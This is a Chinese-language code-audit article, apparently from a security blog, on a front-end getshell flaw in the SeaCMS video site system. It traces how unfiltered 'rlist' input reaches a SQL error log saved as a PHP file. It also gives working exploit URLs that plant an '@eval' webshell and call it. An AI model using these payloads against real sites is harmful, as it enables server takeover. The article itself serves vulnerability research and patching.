代码审计之Seacms前台Getshell分析

微信扫一扫,分享到朋友圈

代码审计之Seacms前台Getshell分析

章源自【字节脉搏社区】-字节脉搏实验室

作者-Beginners

扫描下方二维码进入社区

0x01 Seacms介绍

海洋影视管理系统(seacms,海洋cms)海洋cms是基于PHP+MySql技术开发的开源CMS,是一套专为不同需求的站长而设计的视频点播系统,灵活,方便,人性化设计简单易用是最大的特色,是快速架设视频网站首选。

0x02 漏洞复现:

利用路径:/comment/api/index.php?gid=1&page=2&rlist[]=*hex/@eval($_GET[a]);?%3E

直接访问:data/mysqli_error_trace.php?a=phpinfo();

写入Shell后,成功连接:data/mysqli_error_trace.php?a=@eval($_POST[‘a’]);

0x03 代码分析:

第一步:/comment/api/index.php 分析:

作用:第3行引用了/include/common.php这个文件。

第二步:打开/include/common.php这个文件,定位到98~118行:

作用:将 $_GET、$_POST、$_COOKIE 传入的参数注册成全局变量。

第三步:回到/comment/api/index.php继续分析,定位到第18行:

作用:发现在第18行处调用了 ReadData 函数,我们跟进这个函数。

作用:声明$type,$pCount,$rlist,这些参数都是前面注册的全局变量。

第四步:因为后面的函数都用到了$rlist这个变量,重点分析$rlist:

作用:implode()把$rlist组合成字符串,然后进入Readrlist函数。

第五步:跟进Readrlist函数:

作用:拼接并执行SQL语句:id in ($ids) ,这里的$ids其实就是刚才可控的 $rlist 变量。

第六步:SQL执行后,引用了Execute()函数:

第七步:跟进Execute()函数,函数文件位置:include/sql.class.php 第224~258行:

作用:当查询结果为false时,使用DisplayError()函数的方法。

第八步:跟进DisplayError()函数:

作用:这个函数首先输出了提示错误的html代码,之后将mysql的错误日志写入/data/mysqli_error_trace.php文件并保存,直到这里就触发了Getshell的漏洞。

0x04 Cms下载地址:

下载地址:https://share.weiyun.com/5qpXRztI

天猫618总指挥家洛:今年618力度超双11 消费规模将远超历史同期

上一篇

4折秒杀!联想45W口红电源mini新低价:可折叠 …

下一篇

你也可能喜欢

代码审计之Seacms前台Getshell分析

长按储存图像,分享给朋友